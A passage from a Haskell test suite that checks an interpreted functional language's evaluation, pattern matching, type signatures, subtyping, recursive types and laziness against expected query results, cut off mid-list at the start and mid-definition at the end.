, testQuery "2 >=.Number 1" $ LRSuccess "True"
, testQuery "0 >=.Number ~1" $ LRSuccess "False"
, testQuery "1 >=.Number ~1" $ LRSuccess "True"
, testQuery "2 >=.Number ~1" $ LRSuccess "True"
, testQuery "0 >.Number 1" $ LRSuccess "False"
, testQuery "1 >.Number 1" $ LRSuccess "False"
, testQuery "2 >.Number 1" $ LRSuccess "True"
, testQuery "1 ==.Entity ~1" $ LRSuccess "False"
, testQuery "0 ==.Number 1" $ LRSuccess "False"
, testQuery "1 ==.Number 1" $ LRSuccess "True"
, testQuery "1 ==.Number ~1" $ LRSuccess "True"
, testQuery "0 ==.Number ~1" $ LRSuccess "False"
, testQuery "0 /=.Number 1" $ LRSuccess "True"
, testQuery "1 /=.Number 1" $ LRSuccess "False"
, testQuery "1 /=.Number ~1" $ LRSuccess "False"
, testQuery "0 /=.Number ~1" $ LRSuccess "True"
, testQuery "let using Integer in 7+8" $ LRSuccess "15"
, testQuery "let using Integer in 7 +8" $ LRSuccess "15"
, testQuery "let using Integer in 7+ 8" $ LRSuccess "15"
, testQuery "let using Integer in 7 + 8" $ LRSuccess "15"
, testQuery "\"abc\"<>.Text\"def\"" $ LRSuccess "\"abcdef\""
, testQuery "\"abc\" <>.Text\"def\"" $ LRSuccess "\"abcdef\""
, testQuery "\"abc\"<>.Text \"def\"" $ LRSuccess "\"abcdef\""
, testQuery "\"abc\" <>.Text \"def\"" $ LRSuccess "\"abcdef\""
, testQuery "let using Integer; f = fn x => x + 2 in f -1" $ LRSuccess "1"
, testQuery "let using Integer; f = 2 in f - 1" $ LRSuccess "1"
, testTree
"precedence"
[ testQuery "let using Integer in succ $.Function 2 * 3" $ LRSuccess "7"
, testQuery "let using Integer in 3 * 2 + 1" $ LRSuccess "7"
, testQuery "let using Integer in 2 * 2 * 2" $ LRSuccess "8"
, testQuery "let using Rational in 12 / 2 / 2" $ LRSuccess "3"
, testQuery "0 ==.Entity 0" $ LRSuccess "True"
, testQuery "0 ==.Entity 0 ==.Entity 0" $ LRCheckFail
]
]
, testTree
"boolean"
[ testQuery "True && True" $ LRSuccess "True"
, testQuery "True && False" $ LRSuccess "False"
, testQuery "False && True" $ LRSuccess "False"
, testQuery "False && False" $ LRSuccess "False"
, testQuery "True || True" $ LRSuccess "True"
, testQuery "True || False" $ LRSuccess "True"
, testQuery "False || True" $ LRSuccess "True"
, testQuery "False || False" $ LRSuccess "False"
, testQuery "not True" $ LRSuccess "False"
, testQuery "not False" $ LRSuccess "True"
]
, testTree
"text"
[ testQuery "\"pqrs\"" $ LRSuccess "\"pqrs\""
, testQuery "length.Text \"abd\"" $ LRSuccess "3"
, testQuery "section.Text 4 3 \"ABCDEFGHIJKLMN\"" $ LRSuccess "\"EFG\""
]
, testTree
"if-then-else"
[ testQuery "if True then 3 else 4" $ LRSuccess "3"
, testQuery "if False then 3 else 4" $ LRSuccess "4"
, testQuery "if False then if True then 1 else 2 else if True then 3 else 4" $ LRSuccess "3"
]
, testTree
"product"
[testQuery "fst.Product (7,9)" $ LRSuccess "7", testQuery "snd.Product (7,9)" $ LRSuccess "9"]
, testTree
"sum"
[ testQuery "from.Sum (fn a => (\"Left\",a)) (fn a => (\"Right\",a)) $.Function Left \"x\"" $
LRSuccess "(\"Left\", \"x\")"
, testQuery "from.Sum (fn a => (\"Left\",a)) (fn a => (\"Right\",a)) $.Function Right \"x\"" $
LRSuccess "(\"Right\", \"x\")"
]
, testTree
"type-signature"
[ testQuery "let i = fn x => x in i 3" $ LRSuccess "3"
, testQuery "let i : tvar -> tvar = fn x => x in i 3" $ LRSuccess "3"
, testQuery "let i : a -> a = fn x => x in i 3" $ LRSuccess "3"
, testQuery "let i : Number -> Number = fn x => x in i 3" $ LRSuccess "3"
, testQuery "let i : Text -> Text = fn x => x in i 3" $ LRCheckFail
, testQuery "let i : a -> a = fn x => x in i \"t\"" $ LRSuccess "\"t\""
, testQuery "let i : Number -> Number = fn x => x in i \"t\"" $ LRCheckFail
, testQuery "let i : Text -> Text = fn x => x in i \"t\"" $ LRSuccess "\"t\""
, testQuery "let i : a -> a = fn x => x in 0" $ LRSuccess "0"
, testQuery "let i : a -> Number = fn x => x in 0" $ LRCheckFail
, testQuery "let i : Number -> a = fn x => x in 0" $ LRCheckFail
, testQuery "let i : Number -> Number = fn x => x in 0" $ LRSuccess "0"
, testQuery "let i : Number +: Boolean = Left 5 in i" $ LRSuccess "Left 5"
, testQuery "let i : Number +: Boolean = Right False in i" $ LRSuccess "Right False"
, testQuery "let i : Maybe Number = Just 5 in i" $ LRSuccess "Just 5"
, testQuery "let i : Maybe Number = Nothing in i" $ LRSuccess "Nothing"
, testTree
"polar"
[ testQuery "let x : Text | Number = 3 in x" $ LRSuccess "3"
, testQuery "let f : Any -> Integer = fn _ => 3 in f ()" $ LRSuccess "3"
, testQuery "(fn x => (x,x)) : ((a & Number) -> Showable *: a)" $ LRSuccess "<?>"
, testQuery "let f = (fn x => (x,x)) : (a & Number) -> Showable *: a in f 3" $ LRSuccess "(3, 3)"
, testQuery "let f : (a & Number) -> Showable *: a = fn x => (x,x) in f 3" $ LRSuccess "(3, 3)"
]
]
, testTree
"patterns"
[ testQuery "(fn a => 5) 2" $ LRSuccess "5"
, testQuery "(fn a => a) 2" $ LRSuccess "2"
, testQuery "(fn _ => 5) 2" $ LRSuccess "5"
, testQuery "(fn a@b => (a,b)) 2" $ LRSuccess "(2, 2)"
, testQuery "(fn (a,b) => a +.Integer b) (5,6)" $ LRSuccess "11"
]
, testTree
"match-to"
[ testTree
"basic"
[ testQuery "2 >-.Function match a => 5 end" $ LRSuccess "5"
, testQuery "2 >-.Function match a => 5; a => 3 end" $ LRSuccess "5"
, testQuery "2 >-.Function match a => 5; a => 3; end" $ LRSuccess "5"
, testQuery "2 >-.Function match a => a end" $ LRSuccess "2"
, testQuery "2 >-.Function match _ => 5 end" $ LRSuccess "5"
, testQuery "2 >-.Function match _ => 5; _ => 3 end" $ LRSuccess "5"
, testQuery "2 >-.Function match a@b => (a,b) end" $ LRSuccess "(2, 2)"
]
, testTree
"Boolean"
[ testQuery "True >-.Function match True => 5; False => 7 end" $ LRSuccess "5"
, testQuery "False >-.Function match True => 5; False => 7 end" $ LRSuccess "7"
, testQuery "True >-.Function match False => 7; True => 5 end" $ LRSuccess "5"
, testQuery "False >-.Function match False => 7; True => 5 end" $ LRSuccess "7"
]
, testTree
"Number"
[ testQuery "37 >-.Function match 37 => True; _ => False end" $ LRSuccess "True"
, testQuery "38 >-.Function match 37 => True; _ => False end" $ LRSuccess "False"
, testQuery "-24.3 >-.Function match 37 => 1; -24.3 => 2; _ => 3 end" $ LRSuccess "2"
]
, testTree
"String"
[ testQuery "\"Hello\" >-.Function match \"Hello\" => True; _ => False end" $ LRSuccess "True"
, testQuery "\"thing\" >-.Function match \"Hello\" => True; _ => False end" $ LRSuccess "False"
, testQuery "\"thing\" >-.Function match \"Hello\" => 1; \"thing\" => 2; _ => 3 end" $ LRSuccess "2"
]
, testTree
"Either"
[ testQuery "Left 3 >-.Function match Left a => a; Right _ => 1 end" $ LRSuccess "3"
, testQuery "Right 4 >-.Function match Left a => succ.Integer a; Right a => a end" $ LRSuccess "4"
, testQuery "Right 7 >-.Function match Right 4 => True; _ => False end" $ LRSuccess "False"
, testQuery "Right 7 >-.Function match Right 4 => 1; Right 7 => 2; Left _ => 3; _ => 4 end" $
LRSuccess "2"
]
, testTree "Unit" [testQuery "() >-.Function match () => 4 end" $ LRSuccess "4"]
, testTree "Pair" [testQuery "(2,True) >-.Function match (2,a) => a end" $ LRSuccess "True"]
, testTree
"Maybe"
[ testQuery "Just 3 >-.Function match Just a => succ.Integer a; Nothing => 7 end" $ LRSuccess "4"
, testQuery "Nothing >-.Function match Just a => succ.Integer a; Nothing => 7 end" $ LRSuccess "7"
]
, testTree
"List"
[ testQuery "[] >-.Function match [] => True; _ => False end" $ LRSuccess "True"
, testQuery "[] >-.Function match _::_ => True; _ => False end" $ LRSuccess "False"
, testQuery "[1,2] >-.Function match [] => True; _ => False end" $ LRSuccess "False"
, testQuery "[3,4] >-.Function match _::_ => True; _ => False end" $ LRSuccess "True"
, testQuery "[3] >-.Function match a::b => (a,b) end" $ LRSuccess "(3, [])"
, testQuery "[3,4] >-.Function match a::b => (a,b) end" $ LRSuccess "(3, [4])"
, testQuery "[3,4,5] >-.Function match a::b => (a,b) end" $ LRSuccess "(3, [4, 5])"
, testQuery "[3] >-.Function match [a,b] => 1; _ => 2 end" $ LRSuccess "2"
, testQuery "[3,4] >-.Function match [a,b] => 1; _ => 2 end" $ LRSuccess "1"
, testQuery "[3,4,5] >-.Function match [a,b] => 1; _ => 2 end" $ LRSuccess "2"
, testQuery "[3,4] >-.Function match [a,b] => (a,b) end" $ LRSuccess "(3, 4)"
]
]
, testTree
"match"
[ testQuery "(match a => 5 end) 2" $ LRSuccess "5"
, testQuery "(match a => 5; a => 3 end) 2" $ LRSuccess "5"
, testQuery "(match a => 5; a => 3; end) 2" $ LRSuccess "5"
, testQuery "(match a => a end) 2" $ LRSuccess "2"
, testQuery "(match _ => 5 end) 2" $ LRSuccess "5"
, testQuery "(match _ => 5; _ => 3 end) 2" $ LRSuccess "5"
, testQuery "(match a@b => (a,b) end) 2" $ LRSuccess "(2, 2)"
]
, testTree
"matches"
[ testQuery "(matches a => 5 end) 2" $ LRSuccess "5"
, testQuery "(matches a b => a +.Integer b end) 2 3" $ LRSuccess "5"
, testQuery
"(matches Nothing Nothing => 1; Nothing (Just a) => a +.Integer 10; (Just a) _ => a +.Integer 20; end) (Just 1) (Just 2)" $
LRSuccess "21"
, testQuery
"(matches Nothing Nothing => 1; (Just a) Nothing => a +.Integer 10; _ (Just a) => a +.Integer 20; end) (Just 1) (Just 2)" $
LRSuccess "22"
, testQuery
"(matches Nothing Nothing => 1; (Just a) Nothing => a +.Integer 10; Nothing (Just a) => a +.Integer 20; (Just a) (Just b) => a +.Integer b +.Integer 30; end) (Just 1) (Just 2)" $
LRSuccess "33"
]
, testTree
"type-operator"
[ testSameType True "Unit" "Unit" ["()"]
, testSameType True "List a" "List a" []
, testSameType True "a *: b +: c *: d" "(a *: b) +: (c *: d)" []
, testSameType True "a *: b *: c *: d" "a *: (b *: (c *: d))" []
, testSameType
True
"Integer *: Boolean *: Integer *: Boolean"
"Integer *: (Boolean *: (Integer *: Boolean))"
["(3, (True, (7, False)))"]
]
, testTree
"subtype"
[ testQuery "let i : Integer -> Number = fn x => x in i 3" $ LRSuccess "3"
, testQuery "let a : Integer = 3; b : Number = a in b" $ LRSuccess "3"
, testQuery "let i : FiniteSetModel -a -> SetModel a = fn x => x in 3" $ LRSuccess "3"
, testQuery "let i : FiniteSetModel {-a,+Integer} -> SetModel a = fn x => x in 3" $ LRSuccess "3"
]
, testTree
"subsume"
[ testQuery "let rec a: Unit = a end in ()" $ LRSuccess "()"
, testQuery "let rec a: Integer = a end in ()" $ LRSuccess "()"
, testQuery "let a: Integer|Text = error.Function \"undefined\" in ()" $ LRSuccess "()"
, testQuery "let rec a: Integer|Text = a end in ()" $ LRSuccess "()"
, testQuery "let a: Integer|Text = 3 in ()" $ LRSuccess "()"
, testQuery "let a: Integer|Text = 3; b: Integer|Text = 3 in ()" $ LRSuccess "()"
, testQuery "let a: Integer|Text = 3; b: Integer|Text = a in ()" $ LRSuccess "()"
, testQuery "let rec r = r end in let a: Integer|Text = r in ()" $ LRSuccess "()"
, testQuery "let rec r = r end; a: Integer|Text = r in ()" $ LRSuccess "()"
, testQuery "let rec r = a; a: Integer|Text = r end in ()" $ LRSuccess "()"
, testQuery "let rec a: None = a end in ()" $ LRSuccess "()"
, testQuery "let rec r = r end in let a : None = r in ()" $ LRSuccess "()"
, testQuery "let rec r = r end; a: None = r in ()" $ LRSuccess "()"
, testQuery "let rec r = a; a: None = r end in ()" $ LRSuccess "()"
, testQuery "let a: List (Integer|Text) = [] in a" $ LRSuccess "[]"
, testQuery "let a: List Integer | List Text = [] in a" $ LRSuccess "[]"
, testSameType True "Integer" "Integer" ["56"]
, testSameType False "List (Integer|Text)" "List (Integer|Text)" ["[]"]
, testSameType False "List Integer | List Text" "List Integer | List Text" ["[]"]
, testSameType False "List (Integer|Text)" "List Integer | List Text" ["[]"]
, testQuery "let a: Integer|Text = 3; b: List Integer | List Text = [a] in b" $ LRSuccess "[3]"
, testQuery "newMem.WholeModel >>= fn m => m := 1 >> get m >>= outputLn.Env" LRCheckFail
, testQuery
"newMem.WholeModel >>= fn m => let n: WholeModel a = m: WholeModel a; n1: WholeModel Integer = n: WholeModel Integer; n2: WholeModel Text = n: WholeModel Text in n1 := 1 >> get n2 >>= outputLn.Env"
LRCheckFail
]
, testTree
"conversion"
[ testQuery ("((fn x => Just x): Integer -> Maybe Integer) 34 >-.Function match Just x => x end") $
LRSuccess "34"
, testQuery ("((fn x => [x]): xy -> List1 xy: Integer -> List Integer) 79") $ LRSuccess "[79]"
, testQuery ("((fn x => x :: []): Integer -> List Integer) 57 >-.Function match x::_ => x end") $
LRSuccess "57"
]
, testTree
"recursive"
[ testQuery "let x : rec a, List a = [] in x" $ LRSuccess "[]"
, let
atree = ["[]", "[[]]", "[[[[]]]]", "[[], [[]]]"]
in testTree
"equivalence"
[ testSameType True "Integer" "Integer" ["0"]
, testSameType True "Integer" "rec a, Integer" ["0"]
, testSameType True "List Integer" "List (rec a, Integer)" ["[0]"]
, testSameType True "rec a, List a" "rec a, List a" atree
, testSameType True "rec a, List a" "rec a, List (List a)" atree
, ignoreTestBecause "ISSUE #61" $
testSameType
False
"rec a, (Maybe a | List a)"
"(rec a, Maybe a) | (rec b, List b)"
["[]", "Nothing", "Just []", "[[]]"]
, ignoreTestBecause "ISSUE #61" $
testSameType
False
"rec a, (Maybe a | List a)"
"(rec a, Maybe a) | (rec a, List a)"
["[]", "Nothing", "Just []", "[[]]"]
, testSubtype True "rec a, List a" "Showable" []
, testSubtype True "List (rec a, List a)" "Showable" []
, testSubtype True "rec a, List a" "List Showable" ["[]"]
, testSubtype True "List (rec a, List a)" "List Showable" ["[]"]
, testSameType False "None" "None" []
, testSameType False "rec a, a" "None" []
, testSameType False "List (rec a, a)" "List None" ["[]"]
, testSameType True "rec a, Integer" "Integer" ["0"]
, testSameType True "List (rec a, Integer)" "List Integer" ["[0]"]
, testTree
"unroll"
[ testSameType True "rec a, List a" "List (rec a, List a)" atree
, testSameType
False
"rec a, (List a|Integer)"
"List (rec a, (List a|Integer))|Integer"
["[]"]
, testSameType
False
"rec a, (List a|Integer)"
"List (rec a, (List a|Integer))|Integer"
["2"]
, testSameType
False
"rec a, List (a|Integer)"
"List ((rec a, List (a|Integer))|Integer)"
["[]"]
, testSameType
False
"rec a, List (a|Integer)"
"List ((rec a, List (a|Integer))|Integer)"
["[3]"]
, testSameType
False
"rec a, List (a|Integer)"
"List (rec a, (List (a|Integer)|Integer))"
["[]"]
, testSameType
False
"rec a, List (a|Integer)"
"List (rec a, (List (a|Integer)|Integer))"
["[3]"]
]
]
, testTree
"lazy"
[ testQuery
"let lazy: Any -> Integer -> Integer = fns _ x => x in (fn x => lazy x 1) (error.Function \"strict\")" $
LRSuccess "1"
, testQuery "let lazy: Any -> Integer -> Integer = fns _ x => x in let rec x = lazy x 1 end in x" $
LRSuccess "1"
, testQuery
"let lazy: Any -> Integer -> Integer = fns _ x => x in let x = lazy (error.Function \"strict\") 1 in x" $
LRSuccess "1"
, testQuery "let lazy: Any -> Integer -> Integer = fns _ x => x in let rec f = lazy f end in f 1" $
LRSuccess "1"
, testQuery
"let lazy: Any -> Integer -> Integer = fns _ x => x in let f = lazy (error.Function \"strict\") in f 1" $
LRSuccess "1"
]
, testTree
"subsume"
[ testQuery "let rec rval: rec a, Maybe a = rval end in ()" $ LRSuccess "()"
, testQuery "let rec rval: rec a, Maybe a = Just rval end in ()" $ LRSuccess "()"
, testQuery
"let using Function; using Integer; rec rcount: (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount" $
LRSuccess "<?>"
, testQuery
"let using Function; using Integer; rec rcount: (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount Nothing" $
LRSuccess "0"
, testQuery
"let using Function; using Integer; rec rcount: (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount1 y end; rcount1: (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount" $
LRSuccess "<?>"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount1 y end; rcount1 = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = rcount1; rcount1 = match Nothing => 0; Just y => succ $ rcount1 y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec a, Maybe a) -> Integer = rcount1; rcount1 = match Nothing => 0; Just y => succ $ rcount1 y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec xb, Maybe xb) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = rcount1; rcount1: (rec xb, Maybe xb) -> Integer = match Nothing => 0; Just y => succ $ rcount1 y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec xa, Maybe xa) -> Integer = rcount1; rcount1: (rec xb, Maybe xb) -> Integer = match Nothing => 0; Just y => succ $ rcount1 y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec x, Maybe x) -> Integer = rcount1; rcount1: (rec x, Maybe x) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in ()" $
LRSuccess "()"
, testQuery
"let using Function; using Integer; rec rcount = rcount1; rcount1 = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = rcount1; rcount1: (rec x, Maybe x) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec xa, Maybe xa) -> Integer = match Nothing => 0; Just y => succ $ rcount1 y end; rcount1: (rec xb, Maybe xb) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "5"
, testQuery
"let using Function; using Integer; rec rcount: (rec xc, Maybe xc) -> Integer = match Nothing => 0; Just y => succ $ rcount1 y end; rcount1 = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "5"
, testTree
"lazy"
[ testQuery
"let using Function; using Integer; f: (x -> Integer) -> Maybe x -> Integer = fn rc => match Nothing => 0; Just y => succ $ rc y end in let rec rcount: (rec z, Maybe z) -> Integer = rcount1; rcount1 = f rcount end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; f: ((rec x, Maybe x) -> Integer) -> (rec x, Maybe x) -> Integer = fn rc => match Nothing => 0; Just y => succ $ rc y end in let rec rcount: (rec z, Maybe z) -> Integer = rcount1; rcount1 = f rcount end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; f: (Integer -> Integer) -> Integer -> Integer = fns rc x => if x ==.Entity 0 then 0 else succ $ rc (x - 1) in let rec rcount: Integer -> Integer = rcount1; rcount1 = f rcount end in rcount 1" $
LRSuccess "1"
, testQuery
"let using Function; f = fns _ x => x in let rec rcount = f rcount end in rcount 1" $
LRSuccess "1"
, testQuery
"let using Function; f: Any -> Integer -> Integer = fns _ x => x in let rec rcount = f (seq (error \"strict\") rcount) end in rcount 1" $
LRSuccess "1"
, testQuery
"let using Function; f: Any -> Integer -> Integer = fns _ x => x in let rec rcount = f (seq rcount (error \"strict\")) end in rcount 1" $
LRSuccess "1"
, testQuery
"let using Function; f: (Integer -> Integer) -> Integer -> Integer = fns _ x => x in let rec rcount = f rcount end in rcount 1" $
LRSuccess "1"
, testQuery
"let using Function; f: (Integer -> Integer) -> Integer -> Integer = fns _ x => x in let rec rcount = rcount1; rcount1 = f rcount end in rcount 1" $
LRSuccess "1"
, testQuery
"let using Function; f: (Integer -> Integer) -> Integer -> Integer = fns _ x => x in let rec rcount: Integer -> Integer = rcount1; rcount1 = f rcount end in rcount 1" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec a, Maybe a) -> Integer = rcount1; rcount1 = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec a, Maybe a) -> Integer = rcount1; rcount1: (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec xa, Maybe xa) -> Integer = rcount1; rcount1: (rec xb, Maybe xb) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
]
]
, testTree
"match"
[ testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end end in rcount Nothing" $
LRSuccess "0"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => if True then 1 else succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just Nothing => 1; Just (Just y) => if True then 2 else 2 + rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => y >- match Nothing => 1; Just z => if True then 2 else succ $ rcount y end end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => if True then 1 else succ $ rcount y end end in rcount $ Just $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just Nothing => 1; Just (Just y) => if True then 2 else 2 + rcount y end end in rcount $ Just $ Just Nothing" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => y >- match Nothing => 1; Just z => if True then 2 else succ $ rcount y end end end in rcount $ Just $ Just Nothing" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => y >- match Nothing => 1; Just z => z >- match Nothing => 2; Just p => if True then 3 else succ $ rcount y end end end end in rcount $ Just $ Just Nothing" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => y >- match Nothing => 1; Just z => z >- match Nothing => 2; Just p => succ $ rcount y end end end end in rcount $ Just $ Just Nothing" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => y >- match Nothing => 1; Just z => z >- match Nothing => 2; Just p => succ $ rcount y end end end; rcount1 = fn x => rcount x end in rcount1 $ Just $ Just Nothing" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount1 = match Nothing => 0; Just z => succ $ rcount z; end; rcount = match Nothing => 0; Just y => succ $ rcount1 y end end in rcount $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "4"
, testQuery
"let using Function; using Integer; rec rcount1 = match Nothing => 0; Just z => succ $ rcount z end; rcount = match Nothing => 0; Just y => succ $ rcount1 y end end in rcount $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "12"
, testQuery
"let using Function; using Integer; rec rcount1 = match Nothing => 0; Just z => succ $ rcount z end; rcount : (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount1 y end end in rcount $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "12"
, testQuery
"let using Function; using Integer; rec rcount : (rec a, Maybe a) -> Integer = match Nothing => 0; Just Nothing => 1; Just (Just y) => if True then 2 else 2 + rcount y end; rval : rec a, Maybe a = Just $ Just Nothing end in rcount rval" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount : (rec a, Maybe a) -> Integer = match Nothing => 0; Just Nothing => 1; Just (Just Nothing) => 2; Just (Just (Just Nothing)) => 3; Just (Just (Just (Just Nothing))) => 4; Just (Just (Just (Just (Just _)))) => 5 end; rval : rec a, Maybe a = Just $ Just $ Just $ Just Nothing end in rcount rval" $
LRSuccess "4"
, testQuery
"let using Function; rec rcount : (rec a, Maybe a) -> Integer = match Nothing => 0; Just Nothing => 1; Just (Just Nothing) => 2; Just (Just (Just Nothing)) => 3; Just (Just (Just (Just Nothing))) => 4; Just (Just (Just (Just (Just _)))) => 5 end; rval : rec a, Maybe a = Just rval end in rcount rval" $
LRSuccess "5"
, testQuery
"let using Function; using Integer; rec rcount : (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount y end; rval : rec a, Maybe a = Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just Nothing end in rcount rval" $
LRSuccess "10"
, testQuery
"let using Function; using Integer; rec rcount : (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount y end; rval = Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just $ Just Nothing end in rcount rval" $
LRSuccess "10"
, testQuery
"let using Function; using Integer; fix: (a -> a) -> a = fn f => let rec x = f x end in x; rc: (a -> Integer) -> Maybe a -> Integer = fn r => match Nothing => 0; Just y => succ $ r y end in fix rc $ Just $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "5"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just $ Just Nothing" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just $ Just $ Just Nothing" $
LRSuccess "3"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "4"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "5"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end; rval = Just $ Just Nothing end in rcount rval" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end; rval : Maybe (Maybe (Maybe None)) = Just $ Just Nothing end in rcount rval" $
LRSuccess "2"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end; rval : Maybe (Maybe (Maybe (Maybe None))) = Just $ Just Nothing end in rcount rval" $
LRSuccess "2"
, testQuery "let using Function; in Just $ Just $ Just Nothing" $ LRSuccess "Just Just Just Nothing"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end; rval = Just $ Just $ Just Nothing end in rcount rval" $
LRSuccess "3"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end; rval : Maybe (Maybe (Maybe (Maybe None))) = Just $ Just $ Just Nothing end in rcount rval" $
LRSuccess "3"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount y end; rval : Maybe (Maybe (Maybe (Maybe (Maybe None)))) = Just $ Just $ Just Nothing end in rcount rval" $
LRSuccess "3"
, testQuery
"let using Function; rec rcount = match Nothing => 0; Just Nothing => 1; Just (Just Nothing) => 2; Just (Just (Just Nothing)) => 3; _ => 4 end end in rcount $ Just $ Just $ Just Nothing" $
LRSuccess "3"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ r1count y end; r1count = match Nothing => 0; Just y => succ $ r1count y end end in rcount $ Just $ Just $ Just Nothing" $
LRSuccess "3"
, testQuery
"let using Function; in (Just $ Just $ Just Nothing) >- match Nothing => 0; Just Nothing => 1; Just (Just Nothing) => 2; Just (Just (Just Nothing)) => 3; _ => 4 end" $
LRSuccess "3"
, testQuery
"let using Function; rec rcount = match Nothing => 0; Just Nothing => 1; Just (Just Nothing) => 2; Just (Just (Just Nothing)) => 3; _ => 4 end end in rcount $ Just $ Just $ Just Nothing" $
LRSuccess "3"
, testQuery
"let using Function; rec rcount : (rec a , Maybe a) -> Integer = match Nothing => 0; Just Nothing => 1; Just (Just Nothing) => 2; Just (Just (Just Nothing)) => 3; _ => 4 end end in rcount $ Just $ Just $ Just Nothing" $
LRSuccess "3"
, testQuery
"let using Function; using Integer; rec rcount : (rec a , Maybe a) -> Integer = match Nothing => 0; Just Nothing => 1; Just (Just Nothing) => 2; Just (Just (Just Nothing)) => 3; Just (Just (Just (Just y))) => 4 + rcount y end end in rcount $ Just $ Just $ Just Nothing" $
LRSuccess "3"
, testQuery
"let using Function; using Integer; rec rcount : (rec a , Maybe a) -> Integer = match Nothing => 0; Just Nothing => 1; Just (Just y) => 2 + rcount y end end in rcount $ Just $ Just $ Just Nothing" $
LRSuccess "3"
]
, testTree
"contra-var"
[ testQuery "let f: rec r, (r -> Integer) = fn _ => 3 in 0" LRCheckFail
, testQuery "let f: rec r, (r -> r) = fn x => x in 0" LRCheckFail
]
]
, let
testSupertype :: Text -> Text -> Text -> Text -> Bool -> TestTree
testSupertype supertype subtype val altval good = let
result =
LRSuccess $
unpack $
if good
then val
else altval
in testTree
